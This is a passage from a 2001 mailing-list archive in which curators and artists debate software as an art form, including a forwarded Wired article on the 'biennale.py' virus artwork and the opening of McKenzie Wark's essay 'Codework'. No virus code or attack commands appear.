it's a tug of war between the traditional breaking of extant boundaries\n(or at least pushing them, which is a ubiquitous theme in art since Modernism)\nand the necessity of having to create code to get a computer to do what you\nwant it to do.\n\nMyself, I tend to be modular in combining functions of many off the shelf\nprograms.  So, in this respect, I would count myself as a hybrid under my own\nrubric; a pastiche artist in regards to code.\n\n\n\n\n\nHow does their awareness of software, and its\n>availability, influence their art-making strategies?\n\nI think it's quite relevant to how the work is contextualized in regard to the\nmedium (digital technologies).\n\nHow do institutions\n>need to respond to this growing interest?\n\nFirst, the audience for this art is pretty much a niche at this time.  For\nexample, there are a LOT of people out there who still do not know how to\ncreate a folder on their hard drive (trust me), and to them, this art is\nlargely meaningless, or the subtleties are lost.\n\nSecondly, the institution (in my experience with it) is trying to update\nitself, but for the most part, lags far behind the artists.  Until recently,\nthe Smithsonian servers only had RealServer 2.0 (we're at something like v.7\nnow).  Also, the technical support for the work is quite specialized, which\ncompounds the problems.\n\nShould an institution have a highly trained tech staff for a relatively small\ncollection, or subcontract?  What are the relative costs, logistics, etc?\n\nIs incorporating software nothing\n>more than a technology fetish?\n\nNO.\n\n\n\n\n\nMore specific concerns can arise: what\n>happens to \"improvisation\"?\n\nThat's dependent largely upon the mode of expression.  In the case of off-the\nshelf software, the mode of improv is tied to finding novel uses for extant\nfunctions, and in the case of coding, the novelty of codecraft and finding\ninteresting ways to weave the concept into the code,\n\nTo me this is a very important point, for much of this post, it seems that the\nconversation has been centered around technique and production, and NOT\nCONTENT.  This is the technolpolic distraction.  In my opinion, with software\nas art, code is little different than steel, or clay, or oils.\n\nYou can choose to make scenes incorporating banal seascapes, or amish buggies,\nor _Guernica_. Maybe I use too broad of a brush here :), but I hope you see my\npoint.\n\nNow, if you get into the realm of generative art, such as algorithmic music,\nAuto-Illustrator, and so on, this is another angle entirely, and sets up\nquestionsof authorship between programmer and audience, and similar questions\nof authorship.  In the case of Auto-Illustrator, the statement becomes central\nto the question of origins and synergy.  Same for generative music software.\nIn nato software (an addon for the Max programming language for cideo\nprocessing), how much of the intent is the artist's, and how much is nn's?\n\nHowever, I think I would return to my Bryce analogy.\n\n\n\nHow is the notion of chance incorporated in\n>this type of art?\n\n\n>What are the boundaries of\n>software as an art-making medium?\n\nI think there are boundaries at many levels, both technical and cultural.  For\nexample, one is limited by the technical capabilities of the hardware to\nperform certain functions (sound quality, interfacing, graphics), the software\nas a certain set of functions and rules that define a protocol, and the culture\ndefines certain parameters which limit the level of engagement between artist\nand audience, depending upon the context within which the work is created.  The\nchallenge is to see whether the piece engages with the public within its given\ncultural context in a way that is compelling, and not merely amazing.\n\nI'm tired of being amazed.  I want to be confronted by a piece.\n\nA nice example of this is clip.fm by Angie Weller.  She has set up phone icons\ndepicting sensitive subjects that one can send to another via WAP-capable\nphone.  On one hand hit has some level of technical facility, but on the other\nhand, it engages with me in a really visceral way.\n\n\n\n\n\nCan one talk about software-generated art as ever being\n>\"finished\"?\n\nI have been having a talk about this with a colleague, and we seem be more of\nthe mind that this is more tied to process than product.  This seems to even be\nthe case with net art anymore.  Even with pieces that are supposed to have a\nterminal point, in many cases, it seems to be going through endless revisions.\n\n> Do software artists have to be programmers?\nTo be virtuosic, I would agree with this, at least to an extent.\n\nWhat is the social\n>life of software?\n\nInteresting question.  Please elaborate.\n\n>The algorithm seems to replace the creative will of the artist, in many\n>cases.\n\nI'm not sure I agree.  Perhaps I have a more sculptural approach to this\ntopic.  Does steel replace the creative will of the sculptor, or in Calder's\ncase, does the motion of the mobile replace his intent?  In the case of\ngenerative art, we could go back to Duchamp, Cage, even Mozart.  Once again we\narrive at artistic discourse centering upon process, rather than the object\nitself.  This is a topic that I've been thinking about for quite some time, as\nI work in algorithmic sound/video a great deal, and I feel that the end result\nis performative in nature.  For the reason why I don't believe that it's\nperformance, I can post a text version of my \"Cybernetics of Performance\" text.\n\n\nTo take it from another angle, consider the landscape program Bryce.  For years\nI saw endless megabytes of stunning neo_Adamseque landscapes, holding firmly to\nthe paradigm imposed by the program.  However, as time went on, people like\nBill Ellsworth took the application and used it to create incredible\nnon-representational imagery, and so on.  They became intimate with the\nsoftware to the point of virtuosity.  To me, this is key, or at least the\nability to make novel inferences about the context and function of the\ntechnological tools in question.\n\nThis is exciting to me not because it is technologically marvelous,\n>but because of what this implies in how the artist and the audience\n>understand each other.\n\nSeriously, do you feel that there has to be some baseline of technical\nfamiliarity in order for that communication to be more satisfying?\n\n>Software is a set of rules.  It is the grammar within which a vocabulary of\n>computer code makes sense.\n\nAnd so is language.  Arguably, language has been thought to represent a major\nportion of how we percieve reality and operate upon objects, both metaphorical\nand physical (and vice versa).\n\nMy question to you is how the two contexts differ.\n\nAs British sociologist Anthony Giddens has\n>pointed out, we understand our reality as already existing and seek to\n>write scenarios that allow us to act out a role within that reality.  \\\n\nGood point, but I will not accept this as a priori.\n\nThe\n>software seems to be the scenario, but it relies on users to act it out.\n> What makes software come alive is precisely its social life: how these set\n>of instructions are interpreted and enacted.  And understanding this\n>process of interpretation, of behavior, can fill up pages and pages.\n\nThat's engagement with the audience.  And, I wonder how this is facilitated by\nartists and curators, and wheter there is required a certain common set of\ncultural currency in order for the interaction (read: I'm being purposely\nambiguous here) to engage the audience.  If not, then how does technology\nbecome transparent to the point where it is almost purely expressive?",
                        "id": 0,
                        "date": "Tue, 3 Jul 2001 13:15:09 -0700",
                        "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind01&L=new-media-curating&F=&S=&P=235574",
                        "content-type": "text/plain",
                        "author_name": "Patrick Lichty",
                        "subject": "Re: Software as Art"
                    },
                    {
                        "content-type": "text/plain",
                        "from": "Andreas Broeckmann",
                        "content": "\nsome of the questions that were raised in relation to my posting have\nalready been answered by others, so i will try to be brief with some more\nresponses:\n\nAnthony:\n>The algorithm seems to replace the creative will of the artist, in many\n>cases.  This is exciting to me not because it is technologically marvelous,\n>but because of what this implies in how the artist and the audience\n>understand each other.\n\nfor me it is also interesting because the machinic process that develops\nfrom the algorithm reduces the aspect of intentionality from the artistic\nprocess and puts an autopoietic machine process in its place; the aesthetic\ndimension then lies not in the fact that the effect is 'beautiful' or the\ncode is functional or 'beautifully written'. as with any artistic practice,\nthere can be different aesthetic modes according to which works or\nprocesses can be judged. for me, the oscillation between control and\nidiosyncracy in a computer, this supposedly precise machine, is closely\nlinked to the aesthetic experience of a work of software art. to observe\nhow the computer sings itself to sleep, or goes into a mindless delirium.\nan example is Antoine Schmitt's Vexation 1, a programme that sends a small\nwhite ball across a black rectangle, finely balanced between a rule pattern\nand randomness. (http://www.gratin.org/as)\n\n\n>> definition that excludes applications of software like director or\n>>shockwave;\n\nIttai:\n>On what basis was this decision made?\n\nthe idea was to give an award to a piece of original software, rather than\nto an application of software that exists as a commercial product. Susan\nmight be right that there is a 'crafts' idea behind this. another aspect is\nthat we aim to encourage open source projects, rather than the promotion of\nclosed and proprietary softwares. director and shockwave are owned by\ncompanies that can choose to withdraw their product from the market any\nday, making it illegal for people to continue running their scripts. this\nis, obviously, a ludicrous situation, and it cannot happen to you when you\nare using free software.\n\n\n>>   How do you 'show' or distribute it?\n\nDave:\n>To interpret this literally: In a code development environment or simulator\n>where you can step forward, halt and continue the instruction sequence and\n>watch what happens?\n>\n>If the idea is to establish that software is an Art form then it would be\n>logical to show it in a similar context and way as other Art: eg in some\n>kind of special space which invokes the necessary awe and aura; in a\n>museum/gallery - virtual or otherwise.\n\ni disagree. long, long gone are the days when you needed an auratic space\nto present something as art - this idea misses the point of a lot of art\nfrom the last 100 years, and we should not continue to buy into the myth.\n'other Art' also gets shown elsewhere.\n\nDave's first question is interesting and gets us, i think, to the core of\nthe problem of software art for a curatorial practice. many paintings are\nmade to be displayed on the wall of a gallery, or an office, or a church.\nthey make sense there, and they sometimes suffer when they are displayed\nout of context, some also win, but there often is a logic to the relation\nbetween an artwork and the environment where it is shown.\n\nhow, then, do you 'exhibit' a process that runs on a tiny processor? Daniel\nGarcia Andujar recently printed out the source code of the I-Love-You virus\nand displayed it on a gallery wall in Dortmund\n(http://www.irational.org/tttp) - this is obviously just an ironic gesture.\na piece like Vexation 1 you can show on an IMac, it keeps running endlessly\nand is designed as a more or less self-explanatory work. in Adrian Ward's\nSignwave Auto-Illustrator (http://www.signwave.co.uk), the best way to\nexperience it is to interact with the programme on a regular PC which can\nbut need not be your own. pieces by JODI and nn are probably best\nexperinced on your own machine because they play with your emotional\nattachments to what's on it. whereas the processes involved in a piece like\nDaniela Plewe's Ultima Ratio (http://www.sabonjo.de) needs a lot of\nexplanation and its 'beauty' might only reveal itself to people who have a\ndeeper understanding of the informatic and logical processes going on in\nthe computer.\n\ni'll leave it here for the moment.\n\ngreetings from sunny berlin,\n-a",
                        "id": 0,
                        "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind01&L=new-media-curating&F=&S=&P=237176",
                        "date": "Wed, 4 Jul 2001 09:42:22 +0200",
                        "list": "crumb",
                        "author_name": "Andreas Broeckmann",
                        "subject": "Re: Software as Art"
                    },
                    {
                        "from": "Sarah Thompson",
                        "content": "\nAndreas Broeckmann says that\n>software art is only just coming into focus, so it is early days to\n>describe, let alone critique its presentation.\n\nWhile I would agree that it is only just being appreciated in its own right\n(software as art), and it is great that Transmediale have acknowledged this\nart form, aren't there examples of artists developing their own computer\nsoftware during the 20th century which give precedents for making,\nappreciating and exhibiting this kind of work?\n\nThere is a danger that if this 'lost history' of artists programming\ncomputers is not rediscovered, that their multiple and different strategies\nand approaches will be ignored in favour of a more singular definition.\n\nAlso, why was their work not appreciated? Why did it fail to, or succeed in\nfitting into the art world context? Did the artists want it to fit into\nthis context or were they trying to _engineer_ a new kind of context for\ntheir work?\nAs Anthony Huberman puts it:\n>What makes software come alive is precisely its social life: how these set\n>of instructions are interpreted and enacted.\n\nAs such, I really like the critique of different pieces of software & how\nto see them by AB:\n>the best way to\n>experience it is to interact with the programme on a regular PC which can\n>but need not be your own. pieces by JODI and nn are probably best\n>experinced on your own machine because they play with your emotional\n>attachments to what's on it.\n\nWhile appreciating that Transmediale is about what is happening *now*, I\njust wanted to make this point within the broader curating new media\ncontext.\n\nbest wishes\n\nSarah\n\nhttp://www.content-type.org.uk\n~~~~~~format=\"flowed\"",
                        "id": 0,
                        "date": "Wed, 4 Jul 2001 12:30:10 +0100",
                        "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind01&L=new-media-curating&F=&S=&P=237801",
                        "content-type": "text/plain",
                        "author_name": "Sarah Thompson",
                        "subject": "Re: Software as Art"
                    },
                    {
                        "from": "Dave Franklin",
                        "content": "\nSo far we have only discussed conventional forms of software eg code\nexecuted as a series of instructions (with fixed conditions for branching),\ndigital states of on/off, logical states true/false etc. This provides\noutput which is entirely predictable (given that you know the input).\n\nMight it be that we could also look to the domains of fuzzy logic and\nNeural Networks or Artificial Intelligence in search of software as Art?\n\nThese technologies allow for grey and uncertain states and produce 'code'\nwhich behaves more like biological systems than adding machines. Such\nsystems can be given the ability to learn and adapt. Their output is not\nentirely predictable.\n\nDave\n\n\nDavid Franklin\nGallery Computing and Electronics\nNational Museum of Photography Film & Television\nBradford, Yorks , UK.  BD1 1NQ\nTel: 01274 203389\n\n\n\n\n********************************************************************\nThis e-mail and attachments are intended for the named\naddressee only and are confidential. If you have received\nthis e-mail in error please notify the sender immediately,\ndelete the message from your computer system and\ndestroy any copies. Any views expressed in this message\nare those of the individual sender and may not reflect the\nviews of the National Museum of Science & Industry.\n\nThe NMSI website can be found at http://www.nmsi.ac.uk\n*********************************************************************",
                        "id": 0,
                        "date": "Wed, 4 Jul 2001 17:31:44 +0100",
                        "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind01&L=new-media-curating&F=&S=&P=238489",
                        "content-type": "text/plain",
                        "author_name": "Dave Franklin",
                        "subject": "Re: Software as Art"
                    },
                    {
                        "from": "Josephine Bosma",
                        "content": "\nAndreas Broeckmann wrote:\n\n> that we aim to encourage open source projects, rather than the promotion of\n> closed and proprietary softwares. director and shockwave are owned by\n> companies that can choose to withdraw their product from the market any\n> day, making it illegal for people to continue running their scripts. this\n> is, obviously, a ludicrous situation, and it cannot happen to you when you\n> are using free software.\n\nWhat exactly do you mean by 'making it illegal for people to continue running\ntheir scripts'? Do you maybe mean impossible rather then illegal? This sounds so\nstrange to me. And if the makers of director et al choose to withdraw their\nsoftware from the market that does not mean it cannot be used anymore, does it?\nIt would not make sense to sell people software that would become illegal to use\nonce the company does not produce any packets of it (and updates of it) any\nmore. Transmediale's choice for open source projects is a political statement\nand a kind of aesthetic choice too maybe.Your above argumentation against the\nother art codes does not seem to make much sense to me. Or is there more?\n\n\ngreetsz\n\n\n\nJ\n*",
                        "id": 0,
                        "date": "Wed, 4 Jul 2001 21:21:46 +0200",
                        "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind01&L=new-media-curating&F=&S=&P=240680",
                        "content-type": "text/plain",
                        "author_name": "Josephine Bosma",
                        "subject": "Re: Software as Art"
                    },
                    {
                        "from": "Andreas Broeckmann",
                        "content": "\n>Andreas Broeckmann wrote:\n>\n>> that we aim to encourage open source projects, rather than the promotion of\n>> closed and proprietary softwares. director and shockwave are owned by\n>> companies that can choose to withdraw their product from the market any\n>> day, making it illegal for people to continue running their scripts. this\n>> is, obviously, a ludicrous situation, and it cannot happen to you when you\n>> are using free software.\n>\n>What exactly do you mean by 'making it illegal for people to continue running\n>their scripts'? Do you maybe mean impossible rather then illegal? This\n>sounds so\n>strange to me. And if the makers of director et al choose to withdraw their\n>software from the market that does not mean it cannot be used anymore,\n>does it?\n>It would not make sense to sell people software that would become illegal\n>to use\n>once the company does not produce any packets of it (and updates of it) any\n>more. Transmediale's choice for open source projects is a political statement\n>and a kind of aesthetic choice too maybe.Your above argumentation against the\n>other art codes does not seem to make much sense to me. Or is there more?\n\nhi josephine,\nthere are people who can explain this much better than i can, but i suggest\nyou read either the software license agreements that most of us click OK\nwithout checking, or the stuff that Richard Stallman has written about\nthese things (www.gnu.org/philosophy); the point is that with most software\nyou buy not the code, but the right to limited usage; that is also why you\nare not allowed to pass it on to friends or copy it - the code is not\nyours, you just pay for the right to use it. that whole legal field is\ncompletely crazy!! read stallman, he is also entertaining.\n\ngreetings,\n-a",
                        "id": 0,
                        "date": "Thu, 5 Jul 2001 09:04:00 +0200",
                        "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind01&L=new-media-curating&F=&S=&P=241313",
                        "content-type": "text/plain",
                        "author_name": "Andreas Broeckmann",
                        "subject": "Re: Software as Art"
                    },
                    {
                        "from": "dr susan & tim head",
                        "content": "\nI've only been skimming this one...but I agree with Sarah Thomson when she\nsays\n\n\"There is a danger that if this 'lost history' of artists programming\ncomputers is not rediscovered, that their multiple and different strategies\nand approaches will be ignored in favour of a more singular definition.\"\n\nIt seems that there are (again) so many different kinds of art/and artists\nintentions within this particular thread.  For one you have artists such as\nDavid Rokeby...who creates all his own hard and software for his work...but\nwith works such as his Very Nervous System, has also built it as an\narchitecture (both soft and hardware versions) for other artists to use in\ntheir own way - and stretch etc...an 'open system' or sturcture is you\nlike....\nand then there are other artists or groups such as IOD with Webstalker where\nthe very fact that it IS a piece of software is fundamental to its\ncontext/existence et al...\n\nand in answer to Sarah re. examples of artists earlier in the 20th C its worth\nmentioning\nthe artist Harold Cohen who for over 30 years has been developing software to\nthink about drawing/painting the way he thinks about drawing and painting (for\nthose of you not familiar, Harold was a very well known painter in the 60's\nand then moved to the states - san diego now - and has worked with computers\never since)...his philosophy is very much that the program is the artwork, but\nthe program also generates its own artwork (Harold has been present within a\nlot of AI discussion etc etc)...according to Harolds own rules and principles.\nFar fropm being ignored etc...Harold has had shows in many major museums\n(incl. major retrospective at the Tate in London 1983)...and was quite\nvociferous in opposition to artists using readymade software (as opposed to\nwriting their own) when i first met him back in the late 80's...it would be\ninteresting to know his position on this now.....\n\nbest\n\nSusan Collins\n\n\n\n\n\n\n\n\n\n-- -- dr susan\nhttp://www.susan-collins.net\nhttp://www.inhabited.net",
                        "id": 0,
                        "date": "Thu, 5 Jul 2001 08:52:57 +0100",
                        "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind01&L=new-media-curating&F=&S=&P=242172",
                        "content-type": "text/plain",
                        "author_name": "dr susan & tim head",
                        "subject": "Re: Software as Art"
                    },
                    {
                        "from": "tom corby",
                        "content": "\nThis email was delivered to you by The Free Internet,\na Business Online Group company. http://www.thefreeinternet.net\n---------------------------------------------------------------\n> u\n> are not allowed to pass it on to friends or copy it - the code is not\n> yours, you just pay for the right to use it. that whole legal field is\n> completely crazy!! read stallman, he is also entertaining.\n>\n\nJust to back Andreas up on this, most people don't realise that when\nthey buy software, they are buying the right to use it, not buying the software\nper se.\nYou could equate it to hiring a TV/video etc. microsoft, adobe or macromedia\nstill ultimately own it.\n\nAs far as I'm aware, this also applies to products like Director/shockwave that\nallow\nauthoring. I'm not sure what the status of the authored artefact is , but as they\n'allow you' to distribute the software/artwork\n'under license' as a projector etc. doesn't it follow that  macromedia have a part\nshare in any artwork made using their software?\n\nMaybe someone can clarify this.\n\n\nTom\n\n\n_______________________________________________________________________\n\n| Dr. Tom Corby | ++44 020 77034027 | [log in to unmask] |\nwww.reconnoitre.net\n_______________________________________________________________________",
                        "id": 0,
                        "date": "Thu, 5 Jul 2001 10:30:43 +0100",
                        "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind01&L=new-media-curating&F=&S=&P=242998",
                        "content-type": "text/plain",
                        "author_name": "tom corby",
                        "subject": "Re: Software as Art"
                    },
                    {
                        "from": "tom corby",
                        "content": "\nThis email was delivered to you by The Free Internet,\na Business Online Group company. http://www.thefreeinternet.net\n---------------------------------------------------------------\n\n\n\n>\n> Might it be that we could also look to the domains of fuzzy logic and\n> Neural Networks or Artificial Intelligence in search of software as Art?\n>\n\nI think you'll find that many artists have drawn upon these areas, not in every\ncase\nto comment on them, but certainly in terms of injecting emergent agency and/or\nunpredictable\nstates/conditions into their work (e.g. Knowbotics research). David Rokeby has\nalready been mentioned, but Stephen Wilson has\na long standing interest in AI as well. A lot of the early interest in computer\nbased art was concerned with simulated agency;\ncertainly many of the exhibits in Cybernetic Serendipity (ICA 1968) were\nconcerned with simulated intelligence.\n\ntom",
                        "id": 0,
                        "date": "Thu, 5 Jul 2001 10:49:29 +0100",
                        "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind01&L=new-media-curating&F=&S=&P=243285",
                        "content-type": "text/plain",
                        "author_name": "tom corby",
                        "subject": "Re: Software as Art"
                    },
                    {
                        "from": "Derek Hales",
                        "content": "\nremember saying ...i accept\n\n\nd\n-----Original Message-----\nFrom: Josephine Bosma [mailto:[log in to unmask]]\nSent: Wednesday, July 04, 2001 8:22 PM\nTo: [log in to unmask]\nSubject: Re: Software as Art\n\n\nAndreas Broeckmann wrote:\n\n> that we aim to encourage open source projects, rather than the promotion\nof\n> closed and proprietary softwares. director and shockwave are owned by\n> companies that can choose to withdraw their product from the market any\n> day, making it illegal for people to continue running their scripts. this\n> is, obviously, a ludicrous situation, and it cannot happen to you when you\n> are using free software.\n\nWhat exactly do you mean by 'making it illegal for people to continue\nrunning\ntheir scripts'? Do you maybe mean impossible rather then illegal? This\nsounds so\nstrange to me. And if the makers of director et al choose to withdraw their\nsoftware from the market that does not mean it cannot be used anymore, does\nit?\nIt would not make sense to sell people software that would become illegal to\nuse\nonce the company does not produce any packets of it (and updates of it) any\nmore. Transmediale's choice for open source projects is a political\nstatement\nand a kind of aesthetic choice too maybe.Your above argumentation against\nthe\nother art codes does not seem to make much sense to me. Or is there more?\n\n\ngreetsz\n\n\n\nJ\n*",
                        "id": 0,
                        "date": "Thu, 5 Jul 2001 16:39:05 +0100",
                        "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind01&L=new-media-curating&F=&S=&P=243572",
                        "content-type": "text/plain",
                        "author_name": "Derek Hales",
                        "subject": "Re: Software as Art"
                    }
                ],
                "date": "Mon, 2 Jul 2001 09:17:51 +0200",
                "list": "crumb",
                "author_name": "Andreas Broeckmann",
                "subject": "Re: Software as Art"
            },
            {
                "content-type": "text/plain",
                "from": "[log in to unmask]",
                "content": "\n/// PROPAGANDA /// HTTP://WWW.0100101110101101.ORG ///\n\n\n\n\n# HTTP://WWW.0100101110101101.ORG/home/PROPAGANDA/PRESS\n# HTTP://WWW.0100101110101101.ORG/home/PROPAGANDA/PRESS\n# HTTP://WWW.0100101110101101.ORG/home/PROPAGANDA/PRESS\n# HTTP://WWW.0100101110101101.ORG/home/PROPAGANDA/PRESS\n# HTTP://WWW.0100101110101101.ORG/home/PROPAGANDA/PRESS\n# HTTP://WWW.0100101110101101.ORG/home/PROPAGANDA/PRESS\n# HTTP://WWW.0100101110101101.ORG/home/PROPAGANDA/PRESS\n# HTTP://WWW.0100101110101101.ORG/home/PROPAGANDA/PRESS\n# HTTP://WWW.0100101110101101.ORG/home/PROPAGANDA/PRESS\n# HTTP://WWW.0100101110101101.ORG/home/PROPAGANDA/PRESS\n\n\n\n\n/// From \"Wired\", 27 Jun 2001\n/// http://www.wired.com/news/culture/0,1284,44728,00.html\n\n\n\n\nWant to See Some Really Sick Art?\n\n\nBy Reena Jana\n\nNothing sucks more than a computer virus.\n\nYet the contemporary art world, always hungry for the new, the trendy\nand the controversial, is starting to recognize the virus as an art form\n-- perhaps because computer viruses embody all of the above.\n\nThis year's Venice Biennale -- one of the international art world's most\nprestigious events -- served as the launching pad for \"biennale.py.\"\nIt's the art world's interpretation of the destructive \"Melissa\" and\n\"Love Bug\" viruses that grabbed headlines in recent years.\n\nAt the Biennale, which opened on June 10, a computer infected with\n\"biennale.py\" remains on display until the exhibition closes in\nNovember. Viewers can witness someone else's system crashing and files\nbeing corrupted, in real time, as if it were a creepy performance.\n\nThe artsy-fartsy virus was created by the European Net Art Collective\n0100101110101101.ORG, in collaboration with epidemiC, another group\nknown for its programming skills. The virus only affects programs\nwritten in the Python computer language and is spread if someone\ndownloads infected software or utilizes a corrupted floppy disk.\n\nBecause Python is a relatively esoteric language, the artists hope that\nthe source code, which they've printed on 2,000 T-shirts and published\non a limited edition of 10 CD-ROMs, will be the most contagious form of distribution.\n\n\"The source code is a product of the human mind, as are music, poems and\npaintings,\" explained the epidemiC team, which prefers to speak\ncollectively -- and somewhat pretentiously. \"The virus is a useless but\ncritical handcraft, similar to classical art.\"\n\nAdds a member of 0100101110101101.ORG, which also prefers to speak\ncollectively (and anonymously), \"The only goal of a virus is to\nreproduce. Our goal is to familiarize people with what a computer virus\nis so they're not so paranoid or hysterical when the next one strikes.\"\n\nThe artists have created a mini-hysteria over their piece.\n\nMore than 1,400 of the shirts have been sold at $15 apiece. And they've\nsold three CD-ROMs, at $1,500 each (the collectors chose to remain\nunnamed for legal reasons). Yet the potentially damaging code is\navailable for free on the artists' homepages.\n\n\"In theory, we should get sued,\" said 0100101110101101.ORG's\nspokesperson. \"But we've gotten almost no complaints. Well, we've gotten\na few e-mails from security experts who want to know who these asshole\nartists are.\"\n\nLaws like the Computer Fraud and Abuse Act state it's illegal to send\ndamaging code in interstate or foreign communications. But the artists\ndon't feel liable for any damage caused by \"biennale.py\" because they\nsent a warning to major software and antivirus companies including\nMicrosoft and McAfee.\n\n\"We've explained how to disable our virus, so people should know how to\nfix it,\" said the 0100101110101101.ORG spokesperson.\n\nNot everyone's buying this excuse.\n\n\"If a thief leaves a note saying he's sorry, do we feel better? No,\"\nsaid Jason Catlett, the president of an anti-spam group called\nJunkbusters, who has testified before Congress on Internet privacy\nissues. \"Doing things that are socially undesirable in the name of art\ndoes not redeem the act.\"\n\nThis isn't the first time artists have adopted annoying practices to\ngain attention. Spam, for instance, is emerging as an \"art form\" as\nwell; the Webby-winning Net art collective Jodi.org sent 1,039 spam\nmessages through the e-mail list Rhizome Raw this January.\n\nSome media art theorists think that an artistic statement about computer\nviruses can only be expressed effectively by spreading a virus itself.\n\n\"To talk about contemporary culture, you have to be able to use all\nkinds of expressions of contemporary culture,\" said Lisa Jevbratt, who\nteaches media art at San Jose State University. \"So a virus can be\nconsidered a legitimate art form. Of course, there will be artists and\npranksters doing interesting new things with such forms. But there will\nbe artists and pranksters whose actions are merely rehashing critiques.\"\n\n\n\n\n/// \"Yandex\", 27 Jun 2001\n/// \"biennale.py\" [ russian ]\nhttp://dz.yandex.ru/dz/article/list_news_last_faced.php\n\n///\"Cyberp@\u00eds\", 21 Jun 2001\n/// \"Venecia y Valencia exhiben virus como una forma de arte\" [ spanish ]\nhttp://www.ciberpais.elpais.es/d/20010621/ocio/portada.htm\n\n/// \"ExiWebArt\", 10 May 2001\n/// \"Biennale: anteprima sul padiglione sloveno\" [ italian ]\nhttp://www.exibart.com/IDNotizia2558.htm\n\n/// \"Domus\", 8 Jun 2001\n/// \"biennale.py\" [ italian ]\nhttp://www.edidomus.it/domus/Lab/singola_news.cfm?codnews=2072\n\n/// \"Telepolis\", 8 Jun 2001\n/// \"Ein Computervirus als Kunstwerk\" [ german ]\nhttp://heise.de/tp/deutsch/inhalt/sa/7852/1.html\n\n/// \"Geeknews\", 7 Jun 2001\n/// \"A Virus as art\" [ english ]\nhttp://www.geeknews.net/article.php?sid=1628\n\n/// \"il Corriere\", 6 Jun 2001\n/// \"Biennale, il virus informatico diventa arte\" [ italian ]\nhttp://www.corriere.it\n\n/// \"la Repubblica\", 6 Jun 2001\n/// \"Ultracorpi robotici e virus a guardia della Biennale\" [ italian]\nhttp://www.repubblica.it/online/cultura_scienze/biennalearte/inaugura/inaugura.html\n\n/// \"l'Espresso\", 6 Jun 2001\n/// \"Un virus contagia la Biennale\" [ italian ]\nhttp://www.espressonline.kataweb.it/ESW_articolo/0,2393,17377,00.html\n\n/// \"Vip\", 5 Jun 2001\n/// \"Il Virus della Biennale\" [ italian ]\nhttp://www.vip.it/oggi/index2.htm+biennale.py&hl=en\n\n/// \"Mediamente\", 5 Jun 2001\n/// \"C'\u00e8 un virus alla Biennale\" [ italian ]\nhttp://www.mediamente.rai.it\n\n/// \"Punto-informatico\", 5 Jun 2001\n/// \"Un virus si infila nella Biennale\" [ italian ]\nhttp://punto-informatico.it/p.asp?i=36363\n\n/// \"ExiWebArt\", 4 Jun 2001\n/// \"Un virus chiamato Biennale\" [ italian ]\nhttp://www.exibart.com/IDNotizia2693.htm\n\n\n\n\n# unsubscribe mailto:[log in to unmask]\n# unsubscribe mailto:[log in to unmask]\n# unsubscribe mailto:[log in to unmask]\n# unsubscribe mailto:[log in to unmask]\n# unsubscribe mailto:[log in to unmask]\n# unsubscribe mailto:[log in to unmask]\n# unsubscribe mailto:[log in to unmask]\n# unsubscribe mailto:[log in to unmask]\n# unsubscribe mailto:[log in to unmask]\n# unsubscribe mailto:[log in to unmask]\n\n\n\n\n/// PROPAGANDA /// HTTP://WWW.0100101110101101.ORG ///",
                "id": 0,
                "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind01&L=new-media-curating&F=&S=&P=239368",
                "date": "Wed, 4 Jul 2001 19:53:23 +0200",
                "list": "crumb",
                "author_name": "[log in to unmask]",
                "subject": "/// 0100101110101101.ORG /// Want to See Some Really Sick Art?"
            },
            {
                "id": "00223",
                "content": "\n\nCodework\nMcKenzie Wark\n\n\nWhat happens to writing as it collides with new media? I was thinking\nabout this recently while looking over an exhibition of William Blake's\nwork at the Metropolitan Museum in New York. On display was not just Blake\nthe artist, Blake the poet, or Blake the quirky revolutionary. Here was\nBlake the media artist.\n\nBlake assembled all of the elements of a media practice. As a writer he\nexperimented with all aspects of the production process.  His aesthetic\ndid not stop with the word on the page. Here, I thought, was a useful\nprecursor to name for the new developments in writing that take place on\nthe Internet, developments I will shortly define as \"codework.\"\n\nBut Blake is interesting in this connection only if one embraces all\naspects of his productivity. There's a tendency, in the teaching of\nliterature and the management of its canons, to separate off the authoring\nof the text from the other aspects of writing as a production. It's a\ntendency that full attention to Blake frustrates, given how fully he was\ninvested in the implication of writing in all aspects of its production\nand circulation. Blake\u0092s creation did not stop at the threshold of \"text.\"\n\nDigging writing out of the prison-house of \"text\" might just be what is\nneeded to unblock thinking about where the Internet is taking writing.\nThere has always been more to writing than text, and there is more to\nelectronic writing than hypertext.\n\nHypertext may have come to dominate perceptions of where writing is\nheading in the Internet era, but it is by no means the only, or the most\ninteresting, strategy for electronic writing. Hypertext writers tend to\ntake the link as the key innovation in electronic writing spaces. In\nhypertext writing, the link is supposed to open up multiple trajectories\nfor the reader through the space of the text.\n\nExtraordinary claims were made for this as a liberatory writing strategy.\nHypertext has its limits, however. First, the writing of the text stands\nin relation to the writing of the software as content to form. The two are\nnot really brought together on the same plane of creativity. Secondly,\nhypertext tends not to circulate outside of the academic literary\ncommunity. It has its roots in avant-garde American and English literature\nand tends to hew close to those origins. Thirdly, it doesn't really\nrethink who the writer is, in the new network of statements that the\nexpansion of the Internet makes possible. For all the talk of the death of\nthe author, the hypertext author assumes much the same persona as his or\nher avant-garde literary predecessors.\n\nWhat is interesting about the emergence of codework is that it breaks with\nhypertext strategies on all three points. In many codework writings, both\nthe technical and cultural phenomena of coding infiltrates the work on all\nits levels. Codework finds its home in a wide range of Internet venues,\nforming dialogues\u0097sometimes antagonistic ones\u0097with the development of\nother kinds of written communication in an emerging electronic writing\necology. Codework also sets to work on the problem of the author, bringing\nall of the tactics of the Internet to bear on the question of authorship.\n\nCodework \"entities\" such as Antiorp and JODI approach the Internet as a\nspace in which to re-engineer all of the aspects of creative production\nand distribution. Antiorp is famous\u0097or rather infamous\u0097for bombarding\nlistservers such as the Nettime media theory list with posts that seem to\nparody the sometimes high-serious style of Internet media theory. It was\noften hard to tell whether the Antiorp writing emanated from a human\nsource or from some demented 